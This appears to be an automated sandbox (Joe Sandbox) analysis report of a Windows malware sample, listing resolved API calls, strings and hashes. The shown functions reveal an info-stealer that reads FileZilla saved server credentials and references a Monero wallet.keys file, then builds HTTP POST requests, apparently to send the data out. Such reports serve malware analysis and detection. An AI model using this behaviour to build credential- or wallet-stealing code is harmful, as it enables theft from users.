GetProcAddress.KERNEL32(75900000,0175CD38), ref: 00EF9FFA
GetProcAddress.KERNEL32(75900000,01746320), ref: 00EFA013
GetProcAddress.KERNEL32(75900000,01746360), ref: 00EFA02B
LoadLibraryA.KERNEL32(0175CBB8,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA03D
LoadLibraryA.KERNEL32(0175CD50,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA04E
LoadLibraryA.KERNEL32(0175CC48,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA060
LoadLibraryA.KERNEL32(0175CB70,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA072
LoadLibraryA.KERNEL32(0175CB88,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA083
LoadLibraryA.KERNEL32(0175CC60,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA095
LoadLibraryA.KERNEL32(0175CF48,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA0A7
LoadLibraryA.KERNEL32(0175CF90,?,00EF5CA3,00F00AEB,?,?,?,?,?,?,?,?,?,?,00F00AEA,00F00AE3), ref: 00EFA0B8
GetProcAddress.KERNEL32(75FD0000,01746720), ref: 00EFA0DA
GetProcAddress.KERNEL32(75FD0000,0175CF30), ref: 00EFA0F2
GetProcAddress.KERNEL32(75FD0000,01758840), ref: 00EFA10A
GetProcAddress.KERNEL32(75FD0000,0175CF78), ref: 00EFA123
GetProcAddress.KERNEL32(75FD0000,017469E0), ref: 00EFA13B
GetProcAddress.KERNEL32(734B0000,0174B270), ref: 00EFA160
GetProcAddress.KERNEL32(734B0000,01746A00), ref: 00EFA179
GetProcAddress.KERNEL32(734B0000,0174AF00), ref: 00EFA191
GetProcAddress.KERNEL32(734B0000,0175CFA8), ref: 00EFA1A9
GetProcAddress.KERNEL32(734B0000,0175CE58), ref: 00EFA1C2
GetProcAddress.KERNEL32(734B0000,017468C0), ref: 00EFA1DA
GetProcAddress.KERNEL32(734B0000,017468A0), ref: 00EFA1F2
GetProcAddress.KERNEL32(734B0000,0175CE28), ref: 00EFA20B
GetProcAddress.KERNEL32(763B0000,017468E0), ref: 00EFA22C
GetProcAddress.KERNEL32(763B0000,01746A20), ref: 00EFA244
GetProcAddress.KERNEL32(763B0000,0175CE88), ref: 00EFA25D
GetProcAddress.KERNEL32(763B0000,0175CE10), ref: 00EFA275
GetProcAddress.KERNEL32(763B0000,01746800), ref: 00EFA28D
GetProcAddress.KERNEL32(750F0000,0174B360), ref: 00EFA2B3
GetProcAddress.KERNEL32(750F0000,0174AE88), ref: 00EFA2CB
GetProcAddress.KERNEL32(750F0000,0175CF00), ref: 00EFA2E3
GetProcAddress.KERNEL32(750F0000,017466E0), ref: 00EFA2FC
GetProcAddress.KERNEL32(750F0000,01746900), ref: 00EFA314
GetProcAddress.KERNEL32(750F0000,0174B220), ref: 00EFA32C
GetProcAddress.KERNEL32(75A50000,0175CFC0), ref: 00EFA352
GetProcAddress.KERNEL32(75A50000,01746820), ref: 00EFA36A
GetProcAddress.KERNEL32(75A50000,017588D0), ref: 00EFA382
GetProcAddress.KERNEL32(75A50000,0175CF18), ref: 00EFA39B
GetProcAddress.KERNEL32(75A50000,0175CF60), ref: 00EFA3B3
GetProcAddress.KERNEL32(75A50000,01746740), ref: 00EFA3CB
GetProcAddress.KERNEL32(75A50000,01746680), ref: 00EFA3E4
GetProcAddress.KERNEL32(75A50000,0175CE70), ref: 00EFA3FC
GetProcAddress.KERNEL32(75A50000,0175CE40), ref: 00EFA414
GetProcAddress.KERNEL32(75070000,017466A0), ref: 00EFA436
GetProcAddress.KERNEL32(75070000,0175CEA0), ref: 00EFA44E
GetProcAddress.KERNEL32(75070000,0175CEB8), ref: 00EFA466
GetProcAddress.KERNEL32(75070000,0175CED0), ref: 00EFA47F
GetProcAddress.KERNEL32(75070000,0175CEE8), ref: 00EFA497
GetProcAddress.KERNEL32(74E50000,017466C0), ref: 00EFA4B8
GetProcAddress.KERNEL32(74E50000,01746700), ref: 00EFA4D1
GetProcAddress.KERNEL32(75320000,017469A0), ref: 00EFA4F2
GetProcAddress.KERNEL32(75320000,0175CAF8), ref: 00EFA50A
GetProcAddress.KERNEL32(6F060000,01746760), ref: 00EFA530
GetProcAddress.KERNEL32(6F060000,01746960), ref: 00EFA548
GetProcAddress.KERNEL32(6F060000,01746840), ref: 00EFA560
GetProcAddress.KERNEL32(6F060000,0175C828), ref: 00EFA579
GetProcAddress.KERNEL32(6F060000,01746920), ref: 00EFA591
GetProcAddress.KERNEL32(6F060000,01746860), ref: 00EFA5A9
GetProcAddress.KERNEL32(6F060000,01746780), ref: 00EFA5C2
GetProcAddress.KERNEL32(6F060000,01746940), ref: 00EFA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00EFA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00EFA607
GetProcAddress.KERNEL32(74E00000,0175C900), ref: 00EFA629
GetProcAddress.KERNEL32(74E00000,01758850), ref: 00EFA641
GetProcAddress.KERNEL32(74E00000,0175CA98), ref: 00EFA659
GetProcAddress.KERNEL32(74E00000,0175C9F0), ref: 00EFA672
GetProcAddress.KERNEL32(74DF0000,017467A0), ref: 00EFA693
GetProcAddress.KERNEL32(6E340000,0175C9A8), ref: 00EFA6B4
GetProcAddress.KERNEL32(6E340000,01746980), ref: 00EFA6CD
GetProcAddress.KERNEL32(6E340000,0175C8A0), ref: 00EFA6E5
GetProcAddress.KERNEL32(6E340000,0175C870), ref: 00EFA6FD

Strings

InternetSetOptionA, xrefs: 00EFA5E5
HttpQueryInfoA, xrefs: 00EFA5FC

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 683b6569f4470cc6ea7e16618a4b275833de179fe5cae4a50126a82a55376aa7
Instruction ID: 3802de1037474f24b450e8e75397c8c6c43684e6c244f50b99628248c0876a39
Opcode Fuzzy Hash: 683b6569f4470cc6ea7e16618a4b275833de179fe5cae4a50126a82a55376aa7
Instruction Fuzzy Hash: 17621BB5500A40BFC37CDFA8F68895637F9FF4C601314853AE62AC3A4CD67A94E19B58

Function 00EE7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EE7724
RtlAllocateHeap.NTDLL(00000000), ref: 00EE772B
lstrcat.KERNEL32(?,017594E8), ref: 00EE78DB
lstrcat.KERNEL32(?,?), ref: 00EE78EF
lstrcat.KERNEL32(?,?), ref: 00EE7903
lstrcat.KERNEL32(?,?), ref: 00EE7917
lstrcat.KERNEL32(?,0175DF70), ref: 00EE792B
lstrcat.KERNEL32(?,0175DF88), ref: 00EE793F
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE7952
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7966
lstrcat.KERNEL32(?,0175DFF8), ref: 00EE797A
lstrcat.KERNEL32(?,?), ref: 00EE798E
lstrcat.KERNEL32(?,?), ref: 00EE79A2
lstrcat.KERNEL32(?,?), ref: 00EE79B6
lstrcat.KERNEL32(?,0175DF70), ref: 00EE79C9
lstrcat.KERNEL32(?,0175DF88), ref: 00EE79DD
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE79F1
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7A04
lstrcat.KERNEL32(?,0175E060), ref: 00EE7A18
lstrcat.KERNEL32(?,?), ref: 00EE7A2C
lstrcat.KERNEL32(?,?), ref: 00EE7A40
lstrcat.KERNEL32(?,?), ref: 00EE7A54
lstrcat.KERNEL32(?,0175DF70), ref: 00EE7A68
lstrcat.KERNEL32(?,0175DF88), ref: 00EE7A7B
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE7A8F
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7AA3
lstrcat.KERNEL32(?,0175E0C8), ref: 00EE7AB6
lstrcat.KERNEL32(?,?), ref: 00EE7ACA
lstrcat.KERNEL32(?,?), ref: 00EE7ADE
lstrcat.KERNEL32(?,?), ref: 00EE7AF2
lstrcat.KERNEL32(?,0175DF70), ref: 00EE7B06
lstrcat.KERNEL32(?,0175DF88), ref: 00EE7B1A
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE7B2D
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7B41
lstrcat.KERNEL32(?,0175E130), ref: 00EE7B55
lstrcat.KERNEL32(?,?), ref: 00EE7B69
lstrcat.KERNEL32(?,?), ref: 00EE7B7D
lstrcat.KERNEL32(?,?), ref: 00EE7B91
lstrcat.KERNEL32(?,0175DF70), ref: 00EE7BA4
lstrcat.KERNEL32(?,0175DF88), ref: 00EE7BB8
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE7BCC
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7BDF
lstrcat.KERNEL32(?,0175E198), ref: 00EE7BF3
lstrcat.KERNEL32(?,?), ref: 00EE7C07
lstrcat.KERNEL32(?,?), ref: 00EE7C1B
lstrcat.KERNEL32(?,?), ref: 00EE7C2F
lstrcat.KERNEL32(?,0175DF70), ref: 00EE7C43
lstrcat.KERNEL32(?,0175DF88), ref: 00EE7C56
lstrcat.KERNEL32(?,0175DFA0), ref: 00EE7C6A
lstrcat.KERNEL32(?,0175DEC8), ref: 00EE7C7E

Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00F017FC), ref: 00EE7606
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE7648
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020, : ), ref: 00EE765A
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE768F
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00F01804), ref: 00EE76A0
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00000000), ref: 00EE76D3
Part of subcall function 00EE75D0: lstrcat.KERNEL32(35A8A020,00F01808), ref: 00EE76ED
Part of subcall function 00EE75D0: task.LIBCPMTD ref: 00EE76FB

lstrcat.KERNEL32(?,0175E520), ref: 00EE7E0B
lstrcat.KERNEL32(?,0175D558), ref: 00EE7E1E
lstrlen.KERNEL32(35A8A020), ref: 00EE7E2B
lstrlen.KERNEL32(35A8A020), ref: 00EE7E3B

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: bbf90f5c12e47d859bb983e3ee7e0ab2779b67244996b911d02ec603b1e59c5d
Instruction ID: 3bd133c036573f5a1d96bf75c8b1e8ed824496d8e71261f94b6897b8c09823f2
Opcode Fuzzy Hash: bbf90f5c12e47d859bb983e3ee7e0ab2779b67244996b911d02ec603b1e59c5d
Instruction Fuzzy Hash: 133213B6900318A7CB29EB60EC85DEA777CBB48701F045998F31D63484EAB4E799CF51

Function 00EF0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
Part of subcall function 00EE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
Part of subcall function 00EE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
Part of subcall function 00EE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
Part of subcall function 00EE99C0: LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
Part of subcall function 00EE99C0: CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

Part of subcall function 00EF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00F00DBA,00F00DB7,00F00DB6,00F00DB3), ref: 00EF0362
RtlAllocateHeap.NTDLL(00000000), ref: 00EF0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00EF0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00EF03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00EF0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00EF0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00EF0562
lstrcat.KERNEL32(?,profile: null), ref: 00EF0571
lstrcat.KERNEL32(?,url: ), ref: 00EF0580
lstrcat.KERNEL32(?,00000000), ref: 00EF0593
lstrcat.KERNEL32(?,00F01678), ref: 00EF05A2
lstrcat.KERNEL32(?,00000000), ref: 00EF05B5
lstrcat.KERNEL32(?,00F0167C), ref: 00EF05C4
lstrcat.KERNEL32(?,login: ), ref: 00EF05D3
lstrcat.KERNEL32(?,00000000), ref: 00EF05E6
lstrcat.KERNEL32(?,00F01688), ref: 00EF05F5
lstrcat.KERNEL32(?,password: ), ref: 00EF0604
lstrcat.KERNEL32(?,00000000), ref: 00EF0617
lstrcat.KERNEL32(?,00F01698), ref: 00EF0626
lstrcat.KERNEL32(?,00F0169C), ref: 00EF0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F00DB2), ref: 00EF068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00EF02A4
password: , xrefs: 00EF05FB
login: , xrefs: 00EF05CA
<Pass encoding="base64">, xrefs: 00EF045A
<Host>, xrefs: 00EF037C
profile: null, xrefs: 00EF0568
<User>, xrefs: 00EF0410
browser: FileZilla, xrefs: 00EF0559
url: , xrefs: 00EF0577
<Port>, xrefs: 00EF03C6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 4acbb71ced5d34552460585d55d57dd844fd00d5f69f7a1d865a0feac0153ba1
Instruction ID: b7bfddfff8fbb91692d99a631efd81086b8704531942bfecb07819d37320edad
Opcode Fuzzy Hash: 4acbb71ced5d34552460585d55d57dd844fd00d5f69f7a1d865a0feac0153ba1
Instruction Fuzzy Hash: CFD140B190010CABCB18EFE0DD56EFE77B8AF54300F449428F206BB085DE75AA55DB61

Function 00EE5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
Part of subcall function 00EE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

lstrlen.KERNEL32(00000000), ref: 00EE5193

Part of subcall function 00EF8EA0: CryptBinaryToStringA.CRYPT32(00000000,00EE5184,40000001,00000000,00000000,?,00EE5184), ref: 00EF8EC0

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EE5207
StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE5340
HttpOpenRequestA.WININET(00000000,0175E4C0,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE53A4

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0175E480,00000000,?,01759E48,00000000,?,00F019DC,00000000,?,00EF51CF), ref: 00EE5737
lstrlen.KERNEL32(00000000), ref: 00EE574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00EE575C
RtlAllocateHeap.NTDLL(00000000), ref: 00EE5763
lstrlen.KERNEL32(00000000), ref: 00EE5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EE57A9
lstrlen.KERNEL32(00000000), ref: 00EE57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EE57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00EE580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EE5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EE584D
InternetCloseHandle.WININET(00000000), ref: 00EE58B1
InternetCloseHandle.WININET(00000000), ref: 00EE58BE
InternetCloseHandle.WININET(00000000), ref: 00EE58C8

Strings

", xrefs: 00EE55C4
------, xrefs: 00EE53B7
------, xrefs: 00EE563B
--, xrefs: 00EE5280
", xrefs: 00EE5482
------, xrefs: 00EE5297
------, xrefs: 00EE54F9
", xrefs: 00EE5706

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
